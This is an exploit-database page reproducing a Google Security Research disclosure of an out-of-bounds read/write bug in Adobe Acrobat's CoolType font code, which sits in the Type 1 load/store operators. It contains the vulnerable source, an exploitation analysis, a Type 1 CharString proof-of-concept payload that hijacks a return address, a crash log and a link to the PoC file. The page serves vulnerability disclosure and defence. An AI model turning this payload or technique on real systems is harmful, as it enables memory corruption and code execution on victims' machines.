Menu

Search for hundreds of thousands of exploits

"Adobe Acrobat CoolType (AFDKO) - Memory Corruption in the Handling of Type 1 Font load/store Operators"

Author

"Google Security Research"

Platform

windows

Release date

2019-08-15

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

We have recently discovered that parts of AFDKO are compiled in in Adobe's desktop software such as Adobe Acrobat. Within a single installation of Acrobat, we have found traces of AFDKO in four different libraries: acrodistdll.dll, Acrobat.dll, CoolType.dll and AdobePDFL.dll. According to our brief analysis, AFDKO is not used for font rasterization (there is a different engine for that), but rather for the conversion between font formats. For example, it is possible to execute the AFDKO copy in CoolType.dll by opening a PDF file with an embedded font, and exporting it to a PostScript (.ps) or Encapsulated PostScript (.eps) document. It is uncertain if the AFDKO copies in other libraries are reachable as an attack surface and how.

It is also interesting to note that the AFDKO copies in the above DLLs are much older than the latest version of the code on GitHub. This can be easily recognized thanks to the fact that each component of the library (e.g. the Type 1 Reader - t1r, Type 1 Writer - t1w, CFF reader - cfr etc.) has its own version number included in the source code, and they change over time. For example, CoolType's version of the "cfr" module is 2.0.44, whereas the first open-sourced commit of AFDKO from September 2014 has version 2.0.46 (currently 2.1.0), so we can conclude that the CoolType fork is at least about ~5 years old. Furthermore, the forks in Acrobat.dll and AdobePDFL.dll are even older, with a "cfr" version of 2.0.31.

Despite the fact that CoolType contains an old fork of the library, it includes multiple non-public fixes for various vulnerabilities, particularly a number of important bounds checks in read*() functions declared in cffread/cffread.c (e.g. readFDSelect, readCharset etc.). These checks were first introduced in CoolType.dll shipped with Adobe Reader 9.1.2, which was released on 28 May 2009. This means that the internal fork of the code has had many bugs fixed for the last 10 years, which are still not addressed in the open-source branch of the code. Nevertheless, we found more security vulnerabilities which affect the AFDKO used by CoolType, through analysis of the publicly available code. This report describes one such issue reachable through the Adobe Acrobat file export functionality.

-----=====[ Description ]=====-----

The "Type 2 Charstring Format" specification from 5 May 1998 introduced two storage operators: store and load, which were both deprecated in the next iteration of the specs in 2000. These operators were responsible for copying data between the transient array (also known as the BuildCharArray, or BCA) and the so-called "Registry object".

As the document stated:

"""
    The Registry provides more permanent storage for a number of items that have predefined meanings. The items stored in the Registry do not persist beyond the scope of rendering a font. Registry items are selected with an index, thus:

    0 Weight Vector
    1 Normalized Design Vector
    2 User Design Vector

    The result of selecting a Registry item with an index outside this list is undefined.
"""

The Type 1 CharString interpreter implemented in t1Decode() (c/public/lib/source/t1cstr/t1cstr.c) supports the load and store operators:

--- cut ---
  1450                      case t1_store:
  1451                          result = do_store(h);
  1452                          if (result)
  1453                              return result;
  1454                          continue;
[...]
  1470                      case t1_load:
  1471                          result = do_load(h);
  1472                          if (result)
  1473                              return result;
  1474                          continue;
--- cut ---

The do_store() and do_load() functions are as follows:

--- cut ---
   664  /* Select registry item. Return NULL on invalid selector. */
   665  static float *selRegItem(t1cCtx h, int reg, int *size) {
   666      switch (reg) {
   667          case T1_REG_WV:
   668              *size = T1_MAX_MASTERS;
   669              return h->aux->WV;
   670          case T1_REG_NDV:
   671              *size = T1_MAX_AXES;
   672              return h->aux->NDV;
   673          case T1_REG_UDV:
   674              *size = T1_MAX_AXES;
   675              return h->aux->UDV;
   676      }
   677      return NULL;
   678  }
   679
   680  /* Execute "store" op. Return 0 on success else error code. */
   681  static int do_store(t1cCtx h) {
   682      int size;
   683      int count;
   684      int i;
   685      int j;
   686      int reg;
   687      float *array;
   688
   689      CHKUFLOW(4);
   690
   691      count = (int)POP();
   692      i = (int)POP();
   693      j = (int)POP();
   694      reg = (int)POP();
   695      array = selRegItem(h, reg, &size);
   696
   697      if (array == NULL ||
   698          i < 0 || i + count + 1 >= TX_BCA_LENGTH ||
   699          j < 0 || j + count + 1 >= size)
   700          return t1cErrStoreBounds;
   701
   702      memcpy(&array[j], &h->BCA[i], sizeof(float) * count);
   703      return 0;
   704  }
   705
[...]
   736
   737  /* Execute "load" op. Return 0 on success else error code. */
   738  static int do_load(t1cCtx h) {
   739      int size;
   740      int count;
   741      int i;
   742      int reg;
   743      float *array;
   744
   745      CHKUFLOW(3);
   746
   747      count = (int)POP();
   748      i = (int)POP();
   749      reg = (int)POP();
   750      array = selRegItem(h, reg, &size);
   751
   752      if (i < 0 || i + count - 1 >= TX_BCA_LENGTH || count > size)
   753          return t1cErrLoadBounds;
   754
   755      memcpy(&h->BCA[i], array, sizeof(float) * count);
   756
   757      return 0;
   758  }
--- cut ---

While both routines try to enforce proper bounds of the indexes and lengths (lines 697-700 and 752-753), they miss one important corner case -- negative count. When a value smaller than 0 is specified for "count", many of the other sanity checks can be bypassed, and out-of-bounds read/write access can be triggered with a high degree of control over what is copied where. The condition is especially dangerous in x86 builds, where a controlled 32-bit index added to a memory pointer can address the entire process address space. At the time of this writing, Adobe Acrobat for Windows is available as a 32-bit build only.

To give an example, setting count to a value in the range of 0x80000000-0xbfffffff makes it possible to set the "sizeof(float) * count" expression evaluate to an arbitrary multiple of 4 (0, 4, 8, ..., 0xfffffff8), enabling us to copy any chosen number of bytes in lines 702 and 755. At the same time, the value is so small that it bypasses all checks where "i + count" and "j + count" are involved for i, j in the range of 0-0x3fffffff, which also enables us to refer to the entire address space relative to the referenced buffer.

To summarize, we can copy an arbitrary number of bytes between h->BCA[] and the registry arrays at arbitrary offsets, which is a powerful primitive. There is only one obstacle -- the fact that values on the interpreter stack are stored as 32-bit floats, which means they have a 23-bit mantissa. For this reason, it is impossible to precisely control the integer values of i, j and count, if they are in the order of 2^30 or 2^31. The granularity is 128 for numbers around 2^30 and 256 for numbers around 2^31, so for example it is impossible to set i to 0x3fffffff or count to 0x80000001; the closest values are 0x3fffff80/0x40000000 and 0x80000000/0x80000100, respectively. In practice, this means that we can only copy out-of-bounds memory in chunks of 512 bytes (4 * 128) or 1024 under specific conditions, and that we can only choose negative offsets relative to BCA/array which are divisible by 128. On the other hand, if we set count to a largely negative value (e.g. -1073741696), we can set i and j to fully controlled (small) positive numbers.

The h->BCA[] array is stored within the t1cCtx structure in the stack frame of the t1cParse() function. The registry arrays reside within t1cAuxData structures allocated on the heap. As a result, the vulnerability gives us out-of-bounds access to both the stack and heap. An attacker could target generic data in memory related to the control flow such as return addresses, or application-specific data inside t1cCtx/t1cAuxData, which also contain many sensitive fields such as function pointers etc.

As a side note, the do_load() routine doesn't verify that array != NULL, which may result in a) operating on an uninitialized "size" variable in line 752, and b) passing NULL as the source parameter to memcpy() in line 755.

-----=====[ Invalid memcpy_s usage ]=====-----

We also wanted to point out another interesting bug in AFDKO, which is not present in the GitHub repository but can be found in CoolType. The latter build of the code uses safe variants of many standard functions, such as memcpy_s() instead of memcpy(), vsprintf_s() instead of vsprintf() etc. The memcpy() call in do_store() was also converted to memcpy_s(), and currently looks like this in decompiled form:

--- cut ---
  memcpy_s(&array[j], 4 - 4 * j, (char *)h + 4 * i + 916, 4 * count);
--- cut ---

which can be translated to:

--- cut ---
  memcpy_s(&array[j], sizeof(array) - sizeof(float) * j, &h->BCA[i], sizeof(float) * count);
--- cut ---

Note the second argument, which is supposed to be the length of the buffer being copied to. Judging by the code the author meant to set it to the number of available bytes from element "j" to the end of the array, but used the sizeof(array) expression instead of the actual length stored in the "size" variable. In this case sizeof(array) is the size of a pointer and evaluates to 4 or 8, which is nowhere near the actual size of the array (16 or 64 depending on the register). Consequently, this bug effectively blocks access to the element at array[1] for j={0, 1}, and is incorrectly set to a huge unsigned value for j >= 2, rendering it ineffective.

Considering that the 2nd "destsz" memcpy_s argument is not supposed to be a security boundary but just a safety net, and proper sanitization of the i, j, count values should prevent any kind of out-of-bounds access, we don't consider this a separate vulnerability. We are reporting it here as FYI.

-----=====[ Proof of Concept ]=====-----

The proof of concept is a PDF file with an embedded Type 1 font, which includes the following payload in the CharString of the "A" character:

--- cut ---
     1  1621139584 134217728 div
     2  dup 0 put
     3  dup 1 put
     4  dup 2 put
     5  dup 3 put
     6  dup 4 put
     7  dup 5 put
     8  dup 6 put
     9  dup 7 put
    10  dup 8 put
    11  dup 9 put
    12  dup 10 put
    13  dup 11 put
    14  0 2 0 12 store
    15  0 67
    16  4096 4096 -64 mul mul 128 add
    17  load
    18  endchar
--- cut ---

A brief description:

- Line 1 constructs a float on the stack with a binary representation of 0x41414141
- Lines 2-13 copy this value to the BuildCharArray at indexes 0-11
- Line 14 copies the 12 values from BCA to the registry #0 starting with index #2 (due to the memcpy_s bug)
- Lines 15-17 call the "load" operator with arguments reg=0, i=67, count=0xc0000080 (-1073741696). This results in copying 0x200 (0xc0000080 * 4) bytes from registry #0 to &h->BCA[67], which points to the return address of the t2cParse() function on the stack.
- Line 18 uses the "endchar" operator to return from the interpreter and use the overwritten return address, crashing at address 0x41414141.

-----=====[ Crash logs ]=====-----

When the poc.pdf file is opened with Adobe Acrobat Pro and converted to a PostScript document via "File > Export To > (Encapsulated) PostScript", the following crash occurs in Acrobat.exe:

--- cut ---
(2b10.3acc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0d3993bc edx=00000200 esi=0daec260 edi=0d3992b8
eip=41414141 esp=0133a07c ebp=01000100 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210297
41414141 ??              ???
0:000> dd esp
0133a07c  41414141 41414141 41414141 41414141
0133a08c  41414141 41414141 41414141 41414141
0133a09c  41414141 41414141 41414141 0dfd96a0
0133a0ac  0dfd96a0 00000004 ffffffff 00000000
0133a0bc  00000001 66751a2a 00000000 d4385860
0133a0cc  94000400 801f0014 21ec2020 10693aea
0133a0dc  0008dda2 9d30302b 8071001e 00000000
0133a0ec  00000000 acc70000 32027007 d2aa11d1
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko


Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47259.zip
Release Date Title Type Platform Author
2019-09-13 "Folder Lock 7.7.9 - Denial of Service" dos windows Achilles
2019-09-12 "Microsoft DirectWrite - Out-of-Bounds Read in sfac_GetSbitBitmap While Processing TTF Fonts" dos windows "Google Security Research"
2019-09-12 "Microsoft DirectWrite - Invalid Read in SplicePixel While Processing OTF Fonts" dos windows "Google Security Research"
2019-09-10 "Windows 10 - UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry (Metasploit)" local windows Metasploit
2019-09-10 "Windows 10 - UAC Protection Bypass Via Windows Store (WSReset.exe) (Metasploit)" local windows Metasploit
2019-09-02 "Kaseya VSA agent 9.5 - Privilege Escalation" local windows NF
2019-09-02 "ChaosPro 3.1 - SEH Buffer Overflow" local windows "Jonathan Crosby"
2019-09-02 "ChaosPro 2.1 - SEH Buffer Overflow" local windows "Jonathan Crosby"
2019-09-02 "ChaosPro 2.0 - SEH Buffer Overflow" local windows "Jonathan Crosby"
2019-08-30 "VX Search Enterprise 10.4.16 - 'User-Agent' Denial of Service" dos windows "James Chamberlain"
2019-08-30 "Asus Precision TouchPad 11.0.0.25 - Denial of Service" dos windows "Athanasios Tserpelis"
2019-08-30 "Easy MP3 Downloader 4.7.8.8 - 'Unlock Code' Denial of Service" dos windows "Mohan Ravichandran_ Snazzy Sanoj"
2019-08-30 "SQL Server Password Changer 1.90 - Denial of Service" dos windows "Velayutham Selvaraj_ Praveen Thiyagarayam"
2019-08-28 "Outlook Password Recovery 2.10 - Denial of Service" dos windows "Velayutham Selvaraj_ Praveen Thiyagarayam"
2019-08-26 "Windows 10 - SET_REPARSE_POINT_EX Mount Point Security Feature Bypass" local windows "Google Security Research"
2019-08-26 "LSoft ListServ < 16.5-2018a - Cross-Site Scripting" webapps windows MTK
2019-08-19 "RAR Password Recovery 1.80 - 'User Name and Registration Code' Denial of Service" dos windows Achilles
2019-08-15 "Microsoft Windows Text Services Framework MSCTF - Multiple Vulnerabilities" local windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Double Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - free() of Uninitialized Pointer due to Malformed JBIG2Globals Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Memory Corruption due to Malformed TTF Font" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow in CoolType.dll" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Static Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow While Processing Malformed PDF" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Use-After-Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Out-of-Bounds read due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in FixSbitSubTableFormat1" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in MakeFormat12MergedGlyphList" dos windows "Google Security Research"
Release Date Title Type Platform Author
2019-09-12 "Microsoft DirectWrite - Out-of-Bounds Read in sfac_GetSbitBitmap While Processing TTF Fonts" dos windows "Google Security Research"
2019-09-12 "Microsoft DirectWrite - Invalid Read in SplicePixel While Processing OTF Fonts" dos windows "Google Security Research"
2019-08-29 "Webkit JSC: JIT - Uninitialized Variable Access in ArgumentsEliminationPhase::transform" dos multiple "Google Security Research"
2019-08-26 "Windows 10 - SET_REPARSE_POINT_EX Mount Point Security Feature Bypass" local windows "Google Security Research"
2019-08-15 "Microsoft Windows Text Services Framework MSCTF - Multiple Vulnerabilities" local windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Double Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - free() of Uninitialized Pointer due to Malformed JBIG2Globals Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Memory Corruption due to Malformed TTF Font" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow in CoolType.dll" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Static Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow While Processing Malformed PDF" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Use-After-Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Out-of-Bounds read due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in FixSbitSubTableFormat1" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in MakeFormat12MergedGlyphList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in WriteTableFromStructure" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in ReadAllocFormat12CharGlyphMapList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in ReadTableIntoStructure" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in FixSbitSubTables" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Double Free in MergeFormat12Cmap / MakeFormat12MergedGlyphList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in GetGlyphIdx" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Returning a Dangling Pointer via MergeFontPackage" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat CoolType (AFDKO) - Call from Uninitialized Memory due to Empty FDArray in Type 1 Fonts" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat CoolType (AFDKO) - Memory Corruption in the Handling of Type 1 Font load/store Operators" dos windows "Google Security Research"
2019-08-15 "NSKeyedUnarchiver - Info Leak in Decoding SGBigUTF8String" dos multiple "Google Security Research"
2019-08-12 "WebKit - UXSS via XSLT and Nested Document Replacements" dos multiple "Google Security Research"
2019-08-12 "Linux - Use-After-Free Reads in show_numa_stats()" dos linux "Google Security Research"
2019-08-07 "Google Chrome 74.0.3729.0 / 76.0.3789.0 - Heap Use-After-Free in blink::PresentationAvailabilityState::UpdateAvailability" dos multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47259/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47259/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47259/41627/adobe-acrobat-cooltype-afdko-memory-corruption-in-the-handling-of-type-1-font-loadstore-operators/download/", "exploit_id": "47259", "exploit_description": "\"Adobe Acrobat CoolType (AFDKO) - Memory Corruption in the Handling of Type 1 Font load/store Operators\"", "exploit_date": "2019-08-15", "exploit_author": "\"Google Security Research\"", "exploit_type": "dos", "exploit_platform": "windows", "exploit_port": null}
                    

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications including basic vulnerability identification.

Browse exploit APIBrowse